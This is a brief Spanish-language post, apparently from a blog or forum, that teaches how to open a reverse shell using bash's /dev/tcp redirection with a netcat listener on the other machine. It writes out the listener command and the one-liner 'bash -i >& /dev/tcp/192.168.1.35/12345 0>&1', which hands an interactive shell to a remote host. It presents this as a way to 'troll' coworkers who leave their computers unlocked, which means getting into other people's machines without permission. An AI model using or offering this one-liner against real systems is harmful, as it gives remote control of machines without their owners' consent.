Seguro que todos conocéis el uso de netcat y para lo que sirve ( a parte de "trolear" a los compañeros que se dejan el equipo en la oficina sin boquear).
Hoy os traigo de mano de un compañero otra herramienta para hacer lo mismo.
Se trata de bash, que como todos sabéis viene en todas las distribuciones Linux, con ella podemos hacer una conexión reversa hacia otro equipo como con netcat.
Para usarlo, escribimos nc -l y elpuerto en el pc al que queremos conectar:
nc -l 12345
De este modo queda ese equipo a la escucha en el puerto 12345.
Desde el equipo que queremos realizar la conexión reversa escribimos:
bash -i >& /dev/tcp/direccion_IP/puerto 0>&1
bash -i >& /dev/tcp/192.168.1.35/12345 0>&1
Lo que hace es mandar una shell a la dirección especificada con el puerto que le digamos, en este caso con el 12345.
De esta manera podeis conectar con un equipo tanto Linux como Windows, ya que netcat funciona en Windows (y creo que hasta el Mac).
Alh Kÿtrån